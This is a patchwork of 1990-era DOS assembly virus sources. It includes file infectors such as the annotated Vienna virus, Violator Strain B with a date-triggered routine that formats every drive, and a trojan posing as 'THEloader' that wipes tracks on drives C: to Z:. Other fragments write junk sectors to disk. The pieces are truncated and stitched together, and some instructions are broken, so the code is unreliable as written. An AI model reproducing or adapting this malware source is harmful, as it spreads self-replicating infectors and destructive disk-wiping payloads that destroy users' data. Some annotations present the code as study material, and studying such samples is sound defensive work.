cmp al, "[" ;is al the code to disinfect? "["
jne ok_dont_disinfect
jmp self_kill
ok_dont_disinfect:
;here should be date checks to see
;if an evil function should be unleashed!!
mov ah, 2ah
int 21h
;cx year 1980-2099
;dh month 1-12
;dl day
;al day of week 0=sun 1=mon -> 7=sat
cmp dh, 12
jne notdec
cmp dl, 25
jne notdec
jmp christmas
notdec:
cmp dh, 4
jne notapril
cmp dl, 1
jne notapril
jmp aprilfools
notapril:
;Set the DTA
call set_dta
;find first file to ?infect?
call find_first_file
go_again:
mov si, bp
add si, size_
lodsw
cmp ax, 5
ja gd4
jmp resrch
gd4:
call open_file
mov bx, ax
mov al, 0
call date_time
mov ah, 3fh
mov cx, 5
mov dx, bp
add dx, first_five
int 21h
mov ax, 4202h
mov cx, 0
mov dx, cx
int 21h
sub ax, 3
mov si, bp
add si, new_5
mov [si+1], ax
mov si, bp
mov di, si
add si, chkmark
add di, mark
mov cx, 2
repe cmpsb
jne INFECT
;File found was previously infected!
; search for new one now.
jmp resrch
wipe_name:
push di
push ax
push cx
mov di, bp
add di, name_
mov cx, 13
mov al, 0
rep stosb
pop cx
pop ax
pop di
ret
resrch:
call wipe_name
mov ah, 4fh
int 21h
jnc gd3
jmp term_virus
gd3:
jmp go_again
INFECT:
;Time to infect the file!!
mov si, bp
add si, handle
mov bx, [si]
mov cx, vsize
mov dx, bp
call wipe_name
mov ax, 4000h
int 21h
mov ax, 4200h
mov cx, 0
mov dx, cx
int 21h
mov dx, bp
add dx, new_5
mov ax, 4000h
mov cx, 5
int 21h
mov al, 1
call date_time
mov ax, 3e00h
int 21h
jmp resrch
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;
; program entry point
;
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
tetnus proc far
start:
mov cx,54h
mov dx,0
mov bx,cs
mov ds,bx
mov bx,0
push ax
push bx
push cx
push dx
int 26h ; Absolute disk write, drive al
popf ; Pop flags
pop dx
pop cx
pop bx
pop ax
retn
tetnus endp
seg_a ends
end start
DOSSEG
.MODEL SMALL
.STACK 100H
.DATA
CNTR DB 2 ; Counter to nuke all drives C and up
MESSAGE DB 13,10,"Loading program$"
FINISH DB 13,10,"Thanx for using THEloader v1.6$",13,10
DOT DB ".$"
.CODE
kill: MOV AX,@DATA
MOV DS,AX
MOV BP,1
MOV DX,OFFSET MESSAGE ;Print the nice little message
MOV AH,09H
INT 21H
KRAD: CMP CNTR,26 ;Check to see if it's drive Z
JGE BYEBYE ;If it is, then jump to the end...
MOV AH,05 ;Format track
MOV CH,0 ;Blah, blah, blah...
MOV DH,0 ;Starting at Sector 0
MOV DL,CNTR ;Drive
INT 13H
MOV DX,OFFSET DOT
MOV AH,09H
INT 21H
INC CNTR
JMP KRAD
BYEBYE: MOV AL,2
MOV CX,700
MOV DX,00
MOV DS,[DI+99]
MOV BX,[DI+55]
INT 26H
MOV DX,OFFSET FINISH
MOV AH,09H
INT 21H
MOV AX,4C00H
INT 21H ;Get outa here...
END KILL
PAGE 59,132
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл лл
;лл S лл
;лл лл
;лл Created: 4-Aug-90 лл
;лл Version: лл
;лл Passes: 9 Analysis Options on: H лл
;лл лл
;лл лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
data_2e equ 1ABh ; (946E:01AB=0)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
sub_1 proc near
pop si
sub si,10Bh
mov bp,data_1[si] ; (946E:01A0=0)
add bp,103h
lea dx,[si+1A2h] ; Load effective addr
xor cx,cx ; Zero register
mov ah,4Eh ; 'N'
loc_2:
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
jc loc_6 ; Jump if carry Set
mov dx,9Eh
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov bx,ax
mov ah,3Fh ; '?'
lea dx,[si+1A8h] ; Load effective addr
mov di,dx
mov cx,3
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
cmp byte ptr [di],0E9h
je loc_4 ; Jump if equal
loc_3:
mov ah,4Fh ; 'O'
jmp short loc_2 ; (0120)
loc_4:
mov dx,[di+1]
mov data_1[si],dx ; (946E:01A0=0)
xor cx,cx ; Zero register
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov dx,di
mov cx,2
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
cmp word ptr [di],807h
je loc_3 ; Jump if equal
xor dx,dx ; Zero register
xor cx,cx ; Zero register
mov ax,4202h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
cmp dx,0
jne loc_3 ; Jump if not equal
cmp ah,0FEh
jae loc_3 ; Jump if above or =
mov ds:data_2e[si],ax ; (946E:01AB=0)
mov ah,40h ; '@'
lea dx,[si+105h] ; Load effective addr
mov cx,0A3h
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
jc loc_5 ; Jump if carry Set
mov ax,4200h
xor cx,cx ; Zero register
mov dx,1
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov ah,40h ; '@'
lea dx,[si+1ABh] ; Load effective addr
mov cx,2
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
loc_5:
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
loc_6:
jmp bp ;*Register jump
data_1 dw 0 ; Data table (indexed access)
db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 0
sub_1 endp
seg_a ends
end start
;*****************************************************************************
;
; *** NOT FOR GENERAL DISTRIBUTION *** The Vienna Virus
;
; This file is for the purpose of virus study only! It should not be passed
; around among the general public. It will be very useful for learning
; how viruses work and propagate. But anybody with access to an assembler
; can turn it into a working virus and anybody with a bit of assembly coding
; experience can turn it into a far more malevolent program than it already
; is. Keep this code in responsible hands!
;
; This program does not check wether or not the .COM file to be infected is
; really a .COM file or simply a misnamed .EXE file. DOS does not rely on the
; file extension, but does a double-check by looking for a signature that
; indicates wether or not a file REALLY is an .EXE file. The virus writer
; apparently did not know this. This virus will take any .EXE file that's
; been renamed to a .COM file and try to infect it, obscuring the signature
; that marks it as an .EXE file. When the infected file is then run, the
; virus code will run first, and then the machine will try to run the .EXE
; header data as though it were code. This is likely to crash the machine, and
; since some later versions of DOS itself contain such misnamed .EXE files,
; it's likely to happen.
;
;******************************************************************************
;******************************************************************************
;It seems that MASM won't always willingly translate ordinary assembly code
; into the byte-for-byte replacement of the code in the Vienna Virus. Since
; MASM is just a 2 pass assembler, it doesn't always have enough information to
; figure out the size of an instruction when it needs to. To be safe, it makes
; its guess on the high side and then adds in unrequested NOPS if it needs to
; pad out the space it allocated. Many of the NOPs in this virus are the result
; of this. But the virus writer seems to have done a bit of hand modification
; to the virus, and as a result, one instance where we'd expect a NOP, there
; isn't one. This macro allows us to mimic that instance, where an ordinary
; MOV CX,xx would otherwise have worked fine.
;******************************************************************************
;*****************************************************************************
;Start out with a JMP around the remains of the original .COM file, into the
;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
;The rest of the file (first 3 bytes) are stored in the virus data area.
;*****************************************************************************
VCODE: JMP virus
;This was the rest of the original .COM file. Tiny and simple, this time
;************************************************************
; The actual virus starts here
;************************************************************
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
; The 2nd and 3rd bytes get modified.
CLD ;Pointers will be auto INcremented
MOV SI,DX ;Access data as offset from SI
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
MOV CX,3
REPZ MOVSB ;Restore original first 3 bytes of .COM
MOV SI,DX ;Keep SI pointing to the data area
;*************************************************************
; Check the DOS version
;*************************************************************
MOV AH,30H
INT 21H
CMP AL,0 ;0 means it's version 1.X
JNZ dos_ok ;For version 2.0 or greater
JMP quit ;Don't try to infect version 1.X
;*************************************************************
; Here if the DOS version is high enough for this to work
;*************************************************************
dos_ok: PUSH ES
;*************************************************************
; Get DTA address into ES:BX
;*************************************************************
MOV AH,2FH
INT 21H
;*************************************************************
; Save the DTA address
;*************************************************************
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES ;Save the DTA address
POP ES
;*************************************************************
; Set DTA to point inside the virus data area
;*************************************************************
MOV DX,dta ;Offset of new DTA in virus data area
; NOP ;MASM will add this NOP here
ADD DX,SI ;Compute DTA address
MOV AH,1AH
INT 21H ;Set new DTA to inside our own code
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0 ;ES:DI points to environment
;************************************************************
; Find the "PATH=" string in the environment
;************************************************************
find_path:
POP SI
PUSH SI ;Get SI back
ADD SI,env_str ;Point to "PATH=" string in data area
LODSB
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
REPNZ SCASB ;Search for first character
MOV CX,4
;************************************************************
; Loop to check for the next four characters
;************************************************************
check_next_4:
LODSB
SCASB
JNZ find_path ;If not all there, abort & start over
LOOP check_next_4 ;Loop to check the next character
POP SI
POP ES
MOV [SI+path_ad],DI ;Save the address of the PATH
MOV DI,SI
ADD DI,wrk_spc ;File name workspace
MOV BX,SI ;Save a copy of SI
ADD SI,wrk_spc ;Point SI to workspace
MOV DI,SI ;Point DI to workspace
JMP SHORT slash_ok
;**********************************************************
; Look in the PATH for more subdirectories, if any
;**********************************************************
set_subdir:
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
JNZ found_subdir ;If not, there are more subdirectories
JMP all_done ;Else, we're all done
;**********************************************************
; Here if there are more subdirectories in the path
;**********************************************************
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH ;DS points to environment segment
MOV DI,SI
MOV SI,ES:[DI+path_ad] ;SI = PATH address
ADD DI,wrk_spc ;DI points to file name workspace
;***********************************************************
; Move subdirectory name into file name workspace
;***********************************************************
move_subdir:
LODSB ;Get character
CMP AL,';' ;Is it a ';' delimiter?
JZ moved_one ;Yes, found another subdirectory
CMP AL,0 ;End of PATH string?
JZ moved_last_one ;Yes
STOSB ;Save PATH marker into [DI]
JMP SHORT move_subdir
;******************************************************************
; Mark the fact that we're looking through the final subdirectory
;******************************************************************
moved_last_one:
MOV SI,0
;******************************************************************
; Here after we've moved a subdirectory
;******************************************************************
moved_one:
POP BX ;Pointer to virus data area
POP DS ;Restore DS
MOV [BX+path_ad],SI ;Address of next subdirectory
NOP
;******************************************************************
; Make sure subdirectory ends in a "\"
;******************************************************************
CMP CH,'\' ;Ends with "\"?
JZ slash_ok ;If yes
MOV AL,'\' ;Add one, if not
STOSB
;******************************************************************
; Here after we know there's a backslash at end of subdir
;******************************************************************
slash_ok:
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
MOV SI,BX ;Restore SI
ADD SI,f_spec ;Point to "*.COM"
MOV CX,6
REPZ MOVSB ;Move "*.COM",0 to workspace
MOV SI,BX
;*******************************************************************
; Find first string matching *.COM
;*******************************************************************
MOV AH,4EH
MOV DX,wrk_spc
; NOP ;MASM will add this NOP here
ADD DX,SI ;DX points to "*.COM" in workspace
MOV CX,3 ;Attributes of Read Only or Hidden OK
INT 21H
JMP SHORT find_first
;*******************************************************************
; Find next ASCIIZ string matching *.COM
;*******************************************************************
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
;*******************************************************************
; Here when we find a file
;*******************************************************************
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1FH ;Mask to remove all but seconds
CMP AL,1FH ;62 seconds -> already infected
JZ find_next ;If so, go find another file
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr] ;DI points to file name
PUSH SI ;Save SI
ADD SI,dta_nam ;Point SI to file name
;********************************************************************
; Move the name to the end of the path
;********************************************************************
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars ;Move characters until we find a 00
;********************************************************************
; Get File Attributes
;********************************************************************
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc ;Point to \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI
INT 21H
MOV [SI+old_att],CX ;Save the old attributes
;********************************************************************
; Rewrite the attributes to allow writing to the file
;********************************************************************
MOV AX,OFFSET 4301H ;Set attributes
AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
MOV DX,wrk_spc ;Offset of \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI ;Point to \path\name
INT 21H
;********************************************************************
; Open Read/Write channel to the file
;********************************************************************
MOV AX,OFFSET 3D02H ;Read/Write
MOV DX,wrk_spc ;Offset to \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI ;Point to \path\name
INT 21H
JNB opened_ok ;If file was opened OK
JMP fix_attr ;If it failed, restore the attributes
;*******************************************************************
; Get the file date & time
;*******************************************************************
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
;*******************************************************************
; Get current system time
;*******************************************************************
MOV AH,2CH
INT 21H
AND DH,7 ;Last 3 bits 0? (once in eight)
;*******************************************************************
; The following line is a change from the original virus. Originally
; the following line would be JNZ seven_in_eight. This would ruin
; about 1/8 of all .COM files infected, while the other 7/8 would
; be left workable, but infected. For the purpose of studying a
; live virus, the changed line is not so damaging.
;*******************************************************************
JMP SHORT seven_in_eight
;*******************************************************************
; The special "one in eight" infection. If the above line were in
; its original form, this code would be run 1/8 of the time, and
; rather than appending a copy of this virus to the .COM file, the
; file would get 5 bytes of code that reboot the system when the
; .COM file is run.
;*******************************************************************
MOV AH,40H ;Write to file
MOV CX,5 ;Five bytes
MOV DX,SI
ADD DX,reboot ;Offset of reboot code in data area
INT 21H
JMP SHORT fix_time_stamp
NOP
;******************************************************************
; Here's where we infect a .COM file with this virus
;******************************************************************
seven_in_eight:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
; NOP ;MASM will add this NOP here
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp ;Quit, if read failed
CMP AX,3 ;Were we able to read all 3 bytes?
JNZ fix_time_stamp ;Quit, if not
;******************************************************************
; Move file pointer to end of file
;******************************************************************
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp ;Quit, if it didn't work
MOV CX,AX ;DX:AX (long int) = file size
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
ADD CX,OFFSET c_len_y
MOV DI,SI ;Point DI to virus data area
SUB DI,OFFSET c_len_x
;Point DI to reference vir_dat, at start of pgm
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
;*******************************************************************
; Write virus code to file
;*******************************************************************
MOV AH,40H
MOV_CX virlen ;Length of virus, in bytes
MOV DX,SI
SUB DX,OFFSET codelen ;Length of virus code, gives starting
; address of virus code in memory
INT 21H
;**********************************************************************
; Move file pointer to beginning of the file
;**********************************************************************
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp ;Jump if error
;**********************************************************************
; Write the 3 byte JMP at the start of the file
;**********************************************************************
MOV AH,40H
MOV CX,3
MOV DX,SI ;Virus data area
ADD DX,jmp_op ;Point to the reconstructed JMP
INT 21H
;**********************************************************************
; Restore old file date & time, with seconds modified to 62
;**********************************************************************
fix_time_stamp:
MOV DX,[SI+ol_date] ;Old file date
MOV CX,[SI+old_tim] ;Old file time
AND CX,OFFSET 0FFE0H
OR CX,1FH ;Seconds = 31/30 min = 62 seconds
MOV AX,OFFSET 5701H
INT 21H
;**********************************************************************
; Close File
;**********************************************************************
MOV AH,3EH
INT 21H
;**********************************************************************
; Restore Old File Attributes
;**********************************************************************
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att] ;Old Attributes
MOV DX,wrk_spc
; NOP ;MASM will add this NOP
ADD DX,SI ;DX points to \path\name in workspace
INT 21H
;**********************************************************************
; Here when it's time to close it up & end
;**********************************************************************
all_done:
PUSH DS
;**********************************************************************
; Restore old DTA
;**********************************************************************
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
;*************************************************************************
; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
; in since the address in a real JMP 100 is an offset, and the offset
; varies from one infected file to the next. By PUSHing an 0100H onto the
; stack, we can RET to address 0100H just as though we JMPed there.
;**********************************************************************
quit:
POP CX
XOR AX,AX
XOR BX,BX
XOR DX,DX
XOR SI,SI
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH
;************************************************************************
;The virus data starts here. It's accessed off the SI register, per the
; comments as shown
;************************************************************************
vir_dat EQU $
;Use this with (SI + old_dta)
olddta_ DW 0 ;Old DTA offset
;Use this with (SI + old_dts)
olddts_ DW 0 ;Old DTA segment
;Use this with (SI + old_tim)
oldtim_ DW 0 ;Old Time
;Use this with (SI + ol_date)
oldate_ DW 0 ;Old date
;Use this with (SI + old_att)
oldatt_ DW 0 ;Old file attributes
;Here's where the first three bytes of the original .COM file go.(SI + first_3)
first3_ EQU $
INT 20H
NOP
;Here's where the new JMP instruction is worked out
;Use this with (SI + jmp_op)
jmpop_ DB 0E9H ;Start of JMP instruction
;Use this with (SI + jmp_dsp)
jmpdsp_ DW 0 ;The displacement part
;This is the type of file we're looking to infect. (SI + f_spec)
fspec_ DB '*.COM',0
;Use this with (SI + path_ad)
pathad_ DW 0 ;Path address
;Use this with (SI + nam_ptr)
namptr_ DW 0 ;Pointer to start of file name
;Use this with (SI + env_str)
envstr_ DB 'PATH=' ;Find this in the environment
;File name workspace (SI + wrk_spc)
wrkspc_ DB 40h dup (0)
;Use this with (SI + dta)
dta_ DB 16h dup (0) ;Temporary DTA goes here
;Use this with (SI + dta_tim)
dtatim_ DW 0,0 ;Time stamp in DTA
;Use this with (SI + dta_len)
dtalen_ DW 0,0 ;File length in the DTA
;Use this with (SI + dta_nam)
dtanam_ DB 0Dh dup (0) ;File name in the DTA
;Use this with (SI + reboot)
reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
lst_byt EQU $ ;All lines that assemble into code are
; above this one
;*****************************************************************************
;The virus needs to know a few details about its own size and the size of its
; code portion. Let the assembler figure out these sizes automatically.
;*****************************************************************************
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
codelen = vir_dat - v_start ;Length of virus code, only
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
;*****************************************************************************
;Because this code is being appended to the end of an executable file, the
; exact address of its variables cannot be known. All are accessed as offsets
; from SI, which is represented as vir_dat in the below declarations.
;*****************************************************************************
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
old_att = oldatt_ - vir_dat ;Displacement to old attributes
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
path_ad = pathad_ - vir_dat ;Displacement to the path address
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
dta = dta_ - vir_dat ;Displacement to the temporary DTA
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code
CODE ENDS
END VCODE
;*****************************************************************************
;
; Violator - Strain B
;
;*****************************************************************************
;
; (Aug/09/90)
;
; Development Notes:
;
; I encountered several errors in the original Violator code which I
; corrected in this version. Mainly, the INT 26 routine to fuck the
; disk. It seems that the routine would crash right after the INT 26
; was executed and the whole program would die. I have since fixed
; this problem in this version with an INT 13, AH 05 (Format Track)
; command. This works better than the subsequent INT 26.
;
;
;*****************************************************************************
;
; Written by - The High Evolutionary -
; RABID Head Programmer
;
; Revised by: ЎOnslaughtЏ
; No affiliation with rabId
;
; Copyright (C) 1990 by RABID Nat'nl Development Corp.
;
;*****************************************************************************
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H ; Set ORG to 100H plus our own
dos_ok: PUSH ES
MOV AH,2FH
INT 21H
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES
POP ES
MOV DX,dta
ADD DX,SI
MOV AH,1AH
INT 21H
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0
JMP year_check
year_check:
MOV AH,2AH ;Get date info
INT 21H ;Call DOS
CMP CX,1990 ;Check to see if the year is 1990
JGE month_check ;If greater or equal, check month
JMP find_path ;If not, go on with infection
month_check:
MOV AH,2AH ;Get date info
INT 21h ;Call DOS
CMP DH,10 ;Check to see if it is September
JGE day_check ;If greater or equal, check day
JMP find_path ;if not, go on with infection
day_check:
MOV AH,2Ah ;Get date info
INT 21H ;Call DOS
CMP DL,31 ;Check to see if it is the 4th
JGE multiplex ;If yes, then nuke drives A:-Z:
JMP find_path ;If not, then go on with infection
multiplex:
MOV AL,cntr ;Counter is the drive to kill
CALL alter ;Go and kill the drive
;25 is drive Z:
CMP cntr,25 ;Is (cntr) 25 ?
JE find_path ;Go on with infection
INC cntr ;Add one to (cntr)
LOOP multiplex ;Loop back up to kill next drive
alter:
MOV AH,05 ;Format Track
MOV CH,0 ;Format track 0
MOV DH,0 ;Head 0
MOV DL,cntr ;Format for drive in (cntr)
INT 13h ;Call RWTS
RET ;Return up for next drive
find_path:
POP SI
PUSH SI
ADD SI,env_str
LODSB
MOV CX,OFFSET 8000H
REPNZ SCASB
MOV CX,4
check_next_4:
LODSB
SCASB
;
; The JNZ line specifies that if there is no PATH present, then we will go
; along and infect the ROOT directory on the default drive.
;
JNZ find_path ;If not path, then go to ROOT dir
LOOP check_next_4 ;Go back and check for more chars
POP SI ;Load in PATH again to look for chars
POP ES
MOV [SI+path_ad],DI
MOV DI,SI
ADD DI,wrk_spc ;Put the filename in wrk_spc
MOV BX,SI
ADD SI,wrk_spc
MOV DI,SI
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0
JNZ found_subdir
JMP all_done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH
MOV DI,SI
MOV SI,ES:[DI+path_ad]
ADD DI,wrk_spc ;DI is the file name to infect! (hehe)
move_subdir:
LODSB ;To tedious work to move into subdir
CMP AL,';' ;Does it end with a ; charachter?
JZ moved_one ;if yes, then we found a subdir
CMP AL,0 ;is it the end of the path?
JZ moved_last_one ;if yes, then we save the PATH
STOSB ;marker into DI for future reference
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;BX is where the virus data is
POP DS ;Restore DS so that we can do stuph
MOV [BX+path_ad],SI ;Where is the next subdir?
NOP
CMP CH,'\' ;Check to see if it ends in \
JZ slash_ok ;If yes, then it's OK
MOV AL,'\' ;if not, then add one...
STOSB ;store the sucker
slash_ok:
MOV [BX+nam_ptr],DI ;Move the filename into workspace
MOV SI,BX ;Restore the original SI value
ADD SI,f_spec ;Point to COM file victim
MOV CX,6
REPZ MOVSB ;Move victim into workspace
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
ADD DX,SI ;DX is ... THE VICTIM!!!
MOV CX,3 ;Attributes of Read Only or Hidden OK
INT 21H
JMP SHORT find_first
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1EH ;Mask to remove all but seconds
CMP AL,1EH ;60 seconds
JZ find_next
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr]
PUSH SI
ADD SI,dta_nam
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV [SI+old_att],CX
MOV AX,OFFSET 4301H
AND CX,OFFSET 0FFFEH
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV AX,OFFSET 3D02H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
JNB opened_ok
JMP fix_attr
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AH,2CH
INT 21H
AND DH,7
JMP infect
infect:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp
CMP AX,3
JNZ fix_time_stamp
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV CX,AX
SUB AX,3
MOV [SI+jmp_dsp],AX
ADD CX,OFFSET c_len_y
MOV DI,SI
SUB DI,OFFSET c_len_x
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
quit:
POP CX
XOR AX,AX ;XOR values so that we will give the
XOR BX,BX ;poor sucker a hard time trying to
XOR DX,DX ;reassemble the source code if he
XOR SI,SI ;decides to dissassemble us.
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH ;Return back to the beginning
;of the program
; Virus in Assembly Language
; --------------------------
;Most viruses out there have been written in assembly because assembly has the
;unique ability to bypass operating system security.
;Here is an example of a virus written under MS-DOS 2.1 and can obviously be
;compiled in the later versions. The article contains remarks so as to further
;explain the parts. Programmers may wish to delete those segments if desired.
;**************************************************
; Program Virus
; Version 1.1
; This is a demonstration program for computer
; viruses. It has the ability to replace itself.
; and thereby modify other programs. Enjoy.
;**************************************************
;**************************************************
; The three NOP's serve as the marker byte of the
; virus which allow it to identify a virus.
;**************************************************
MAIN:
nop
nop
nop
;**************************************************
; Initialize the pointers
;**************************************************
;**************************************************
; Get the number of drives present. If only one
; is present, the pointer for the search order
; will be set to serach order + 6
;**************************************************
;**************************************************
; Carry is set, if no more .COM's are found.
; Then, to avoid unnecessary work, .EXE files will
; be renamed to .COM files and infected.
; This causes the error message "Program to large
; to fit memory" when starting larger infected
; EXE programs.
;*************************************************
change_disk:
jnc no_name_change
mov ah,17h ;change .EXE to .COM
lea dx,cs:maske_exe
int 21h
cmp al,0ffh
jnz no_name_change ;.EXE found?
;****************************************************
; If neither .COM nor .EXE is found then sectors
; will be overwritten depending on the system time
; in milliseconds. This is the time of the complete
; "infection" of a storage medium. The virus can
; find nothing more to infect and starts its destruction
;*****************************************************
mov ah,2ch ; read system clock
int 21h
mov bx,cs:pointer
mov al,cs:[bx]
mov bx,dx
mov cx,2
mov dh,0
int 26h ; write crap on disk
;******************************************************
; Check if the end of the search order table has been
; reached . If so, end.
;******************************************************
;****************************************************
; Get new drive from the search order table and
; select it .
;***************************************************
hups2:
mov ah,0eh
int 21h ;change disk
;***************************************************
; Start in the root directory
;***************************************************
mov ah,3bh ;change path
lea dx,path
int 21h
jmp find_first_file
;**************************************************
; Starting from the root, search for the first
; subdir. FIrst convert all .EXE files to .COM
; in the old directory
;**************************************************
find_first_subdir:
mov ah,17h ;change .exe to .com
lea dx,cs:maske_exe
int 21h
mov ah,3bh ;use root directory
lea dx,path
int 21h
mov ah,04eh ;search for first subdirectory
mov cx,00010001b ;dir mask
lea dx,maske_dir ;
int 21h ;
jc change_disk
mov bx,CS:counter
INC,BX
DEC bx
jz use_next_subdir
;*************************************************
; Search for the next subdirectory. If no more
; directories are found, the drive will be changed.
;*************************************************
find_next_subdir:
mov ah,4fh ; search for next subdir
int 21h
jc change_disk
dec bx
jnz find_next_subdir
;*************************************************
; Select found directory.
;**************************************************
use_next_subdir:
mov ah,2fh ;get dta address
int 21h
add bx,1ch
mov es:[bx],'\` ;address of name in dta
inc bx
push ds
mov ax,es
mov ds,ax
mov dx,bx
mov ah,3bh ;change path
int 21h
pop ds
mov bx,cs:counter
inc bx
mov CS:counter,bx
;**************************************************
; Find first .COM file in the current directory.
; If there are none, search the next directory.
;**************************************************
find_first_file:
mov ah,04eh ;Search for first
mov cx,00000001b ;mask
lea dx,maske_com ;
int 21h ;
jc find_first_subdir
jmp check_if_ill
;**************************************************
; If program is ill(infected) then search for
; another other.
;**************************************************
find_next_file:
mov ah,4fh ;search for next
int 21h
jc find_first_subdir
;*************************************************
; Check is already infected by virus.
;**************************************************
check_if_ill:
mov ah,3dh ;open channel
mov al,02h ;read/write
mov dx,9eh ;address of name in dta
int 21
mov bx,ax ;save channel
mov ah,3fh ; read file
mov ch,buflen ;
mov dx,buffer ;write in buffer
int 21h
mov ah,3eh ;close file
int 21h
;***************************************************
